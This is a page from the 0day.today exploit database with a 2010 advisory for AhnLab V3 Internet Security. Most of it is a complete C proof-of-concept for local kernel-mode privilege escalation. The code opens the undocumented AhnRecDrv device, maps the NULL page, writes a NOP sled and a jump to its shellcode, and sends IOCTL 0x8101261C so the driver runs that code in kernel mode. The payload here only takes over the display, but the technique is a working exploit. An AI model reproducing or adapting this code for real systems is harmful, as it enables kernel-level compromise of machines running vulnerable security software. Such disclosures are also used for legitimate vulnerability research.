0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

AhnLab V3 Internet Security 8.0 <= 1.2.0.4 Privilege Escalation

Author

MJ0011

Risk

[

Security Risk Unsored

]

0day-ID

Category

Date add

Platform

AhnLab V3 Internet Security 8.0  with  AhnRec2k.sys  <= 1.2.0.4 Local Kernel Mode Privilege Escalation Vulnerability
 
 
AUTHOR
 
MJ0011
 
EMAIL
th_decoder $ 126.com
 
VULNERABLE PRODUCTS
AhnLab V3 Internet Security <= 8.0.3.28ï¼ˆbuild 746)
 
DETAILS:
 
AhnRec2k.sys create a device called "AhnRecDrv" , and handles DeviceIoControl Code = 0x8101261C , which execute user input function pointer in kernel mode.
 
Although AhnRec2k.sys did not create any symbolic link for this device and leave this device's interface for internal use , we can still use native function "ZwCreateFile" to open the device and send request to its .
 
AhnRec2k.sys (1.2.0.4) will check if function pointer below
MmHighestUserAddress, but it also can be exploit
 
EXPLOIT CODE:
// ahnlab0day.cpp : Defines the entry point for the console application.
//
 
#include "stdafx.h"
#include "windows.h"
typedef LONG NTSTATUS, *PNTSTATUS;
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
 
typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
 
typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef NTSTATUS (WINAPI *PNT_CREATE_FILE)(
  PHANDLE FileHandle,
  ACCESS_MASK DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  PIO_STATUS_BLOCK IoStatusBlock,
  PLARGE_INTEGER AllocationSize,
  ULONG FileAttributes,
  ULONG ShareAccess,
  ULONG CreateDisposition,
  ULONG CreateOptions,
  PVOID EaBuffer,
  ULONG EaLength
    );
 
typedef NTSTATUS (WINAPI *PNT_CREATE_SYMBOLIC_LINK) (
 PHANDLE LinkHandle,
 ACCESS_MASK DesiredAccess,
 POBJECT_ATTRIBUTES ObjectAttributes,
 PUNICODE_STRING LinkTarget
);
 
#define RTL_CONSTANT_STRING(s) { sizeof( s ) - sizeof( (s)[0] ), sizeof( s ), s
}
#define RTL_CONST_CAST(type) (type)
UNICODE_STRING uniname = RTL_CONSTANT_STRING(L"\\Device\\AhnRecDrv");
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) { sizeof(OBJECT_ATTRIBUTES), NULL,
RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL }
OBJECT_ATTRIBUTES oba = RTL_CONSTANT_OBJECT_ATTRIBUTES(&uniname ,
OBJ_CASE_INSENSITIVE);
#define FILE_OPEN 0x00000001
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#include "malloc.h"
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pZwQuerySystemInformation = GetProcAddress(hlib ,
"ZwQuerySystemInformation");
do
{
mPtr = malloc(mSize);
if (mPtr)
{
__asm
{
push 0
push mSize
push mPtr
push ATableType
call pZwQuerySystemInformation
mov status , eax
}
}
else
{
return NULL;
}
if (status == 0xc0000004)
{
free(mPtr);
mSize = mSize * 2;
}
} while (status == 0xc0000004);
if (status == 0)
{
return mPtr;
}
free(mPtr);
return NULL;
}
enum { SystemModuleInformation = 11,
SystemHandleInformation = 16 };
typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
 
 
typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
  ULONG x1,
  ULONG y1,
  ULONG x2,
  ULONG y2,
  ULONG color
    );
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
  ULONG Color
    );
typedef
VOID
(*INBV_DISPLAY_STRING_FILTER)(
  PUCHAR *Str
    );
 
typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
    INBV_DISPLAY_STRING_FILTER DisplayStringFilter
    );
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
    BOOLEAN bEnable
    );
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
    ULONG x1,
    ULONG y1,
    ULONG x2,
    ULONG y2
    );
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
    PUCHAR Str
    );
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ;
PINBV_RESET_DISPLAY InbvResetDisplay = 0 ;
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ;
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ;
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ;
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ;
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ;
PINBV_DISPLAY_STRING InbvDisplayString= 0 ;
 
#define VGA_COLOR_BLACK 0
#define VGA_COLOR_RED 1
#define VGA_COLOR_GREEN 2
#define VGA_COLOR_GR 3
#define VGA_COLOR_BULE 4
#define VGA_COLOR_DARK_MEGAENTA 5
#define VGA_COLOR_TURQUOISE 6
#define VGA_COLOR_GRAY 7
#define VGA_COLOR_BRIGHT_GRAY 8
#define VGA_COLOR_BRIGHT_RED 9
#define VGA_COLOR_BRIGHT_GREEN 10
#define VGA_COLOR_BRIGHT_YELLOW 11
#define VGA_COLOR_BRIGHT_BULE 12
#define VGA_COLOR_BRIGHT_PURPLE 13
#define VGA_COLOR_BRIGHT_TURQUOISE 14
#define VGA_COLOR_WHITE 15
UCHAR DisplayString[] =
"                                                                              
 "
"                                                                              
 "
"                                                                              
 "
"                ---- ===== EXPLOIT SUCCESSFULLY ==== ----                      
"
"                                                                              
 "
"                                                                              
 "
" AhnLab V3 Internet Security 8.0 Local Privilege Escalation Exploit            
"
"                                                                              
 "
" VULNERABLE PRODUCT                                                            
"
"                                                                              
 "
" AhnLab V3 Internet Security <= 8.0.3.28                                      
 "
"                                                                              
 "
"                                                                              
 "
" VULERABLE FILE                                                                
"
" AhnRec2k.sys <= 1.2.0.4                                                      
 "
"                                                                              
 "
" AUTHOR                                                                        
"
"                                                                              
 "
" MJ0011                                                                        
"
" th_decoder$126.com                                                            
"
"                                                                              
 "
" 2010-11-9                                                                    
 "
"                                                                              
 "
"                                                                              
 "
"                                                                              
 ";
 
VOID InbvShellCode()
{
//DISABLE INTERRUPT
 
__asm
{
cli
}
 
//RESET TO VGA MODE
 
InbvAcquireDisplayOwnership();
 
InbvResetDisplay();
 
//FILL FULL SCREEN
 
InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);
 
//SET TEXT COLOR
InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);
 
InbvInstallDisplayStringFilter(NULL);
 
InbvEnableDisplayString(TRUE);
 
InbvSetScrollRegion( 0 , 0 , 639 ,477);
 
InbvDisplayString(DisplayString);
while(TRUE)
{
 
};
 
 
}
 
BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
{
HMODULE hlib = LoadLibrary(ntosname);
 
if (hlib == NULL)
{
return FALSE ;
}
 
InbvAcquireDisplayOwnership =
(PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib ,
"InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib ,
"InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib ,
"InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib ,
"InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
InbvInstallDisplayStringFilter =
(PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib ,
"InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
InbvEnableDisplayString =
(PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib ,
"InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib ,
"InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib ,
"InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
 
if (InbvAcquireDisplayOwnership &&
InbvResetDisplay &&
InbvSolidColorFill &&
InbvSetTextColor &&
InbvInstallDisplayStringFilter &&
InbvEnableDisplayString &&
InbvSetScrollRegion &&
InbvDisplayString)
{
return TRUE ;
}
return FALSE ;
 
}
 
typedef LONG (WINAPI *PNT_ALLOCATE_VIRTUAL_MEMORY)(
   HANDLE ProcessHandle,
   PVOID *BaseAddress,
   ULONG_PTR ZeroBits,
   PSIZE_T RegionSize,
   ULONG AllocationType,
   ULONG Protect
   );
int main(int argc, char* argv[])
{
printf("AhnLab V3 Internet Security <= 8.0.3.28 AhnRec2k.sys <= 1.2.0.4\n"
"Local Kernel Mode Privilege Escalation Vulnerability POC\n\n"
"Test On Windows XP SP3\n"
"by MJ0011 th_decoder$126.com\n"
"Press Enter....\n"
);
getchar();
 
PSYSTEM_MODULE_INFORMATION pinfo =
(PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
if (pinfo==0)
{
printf("cannot get system info\n");
return 0 ;
}
if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\')
+ 1))
{
printf("cannot init inbv system!\n");
return 0 ;
}
 
 
HMODULE hlib = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\') + 1);
 
if (hlib == 0 )
{
printf("cannot load ntoskrnl...\n");
getchar();
return 0 ;
}
 
PVOID pIoStartPacket = GetProcAddress(hlib , "IoStartPacket");
 
 
if (pIoStartPacket == NULL)
{
printf("IoStartPacket == NULL\n");
getchar();
return 0 ;
}
 
ULONG i ;
BOOL bFind = FALSE ;
 
for (i = 0 ; i < 0x100 ; i ++)
{
if (*(WORD*)(i + (ULONG)pIoStartPacket) == 0x50ff &&
*(BYTE*)((ULONG)pIoStartPacket + i + 2) == 0x30)
{
bFind = TRUE ;
break ;
}
}
 
if (bFind == FALSE)
{
printf("cannot find shellcode...\n");
getchar();
return 0 ;
}
 
ULONG pbuf = (ULONG)pIoStartPacket - (ULONG)hlib +
(ULONG)(pinfo->Module[0].Base) + i  ;
 
PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM =
(PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll") ,
"NtAllocateVirtualMemory");
 
HANDLE hdev ;
IO_STATUS_BLOCK iosb ;
NTSTATUS stat ;
PVOID BaseAddress = (PVOID)0x1 ;
ULONG dwsize = 0x1000 ;
LONG status ;
status = NTAllocateVM
(
GetCurrentProcess() ,
&BaseAddress ,
0 ,
&dwsize ,
MEM_COMMIT | MEM_RESERVE ,
PAGE_READWRITE
);
 
 
printf("allocate vm at zero %08x\n" , status);
 
memset((PVOID)0x0 , 0x90 , 0x100);
 
*(BYTE*)0x50 = 0xe9 ;
*(DWORD*)0x51 = (ULONG)InbvShellCode - 0x50 - 5 ;
 
PNT_CREATE_FILE pfunc =
(PNT_CREATE_FILE)GetProcAddress(GetModuleHandle("ntdll.dll") , "ZwCreateFile");
 
 
stat = pfunc(&hdev ,
FILE_READ_ATTRIBUTES | SYNCHRONIZE ,
&oba ,
&iosb,
0 ,
0 ,
FILE_SHARE_READ ,
FILE_OPEN ,
FILE_SYNCHRONOUS_IO_NONALERT ,
0 ,
0 );
 
 
 
if (stat != 0 )
{
printf("cannot open dev %08x\n", stat);
return 0 ;
}
 
 
ULONG btr ;
 
if (!DeviceIoControl(hdev , 0x8101261C , &pbuf , sizeof(ULONG) , 0 ,0 , &btr , 0
))
{
printf("cannot dev ctl %u\n",GetLastError());
return 0 ;
}
return 0;
}



#  0day.today [2024-12-27]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

AhnLab V3 Internet Security 8.0 <= 1.2.0.4 Privilege Escalation

Report Error

Report Error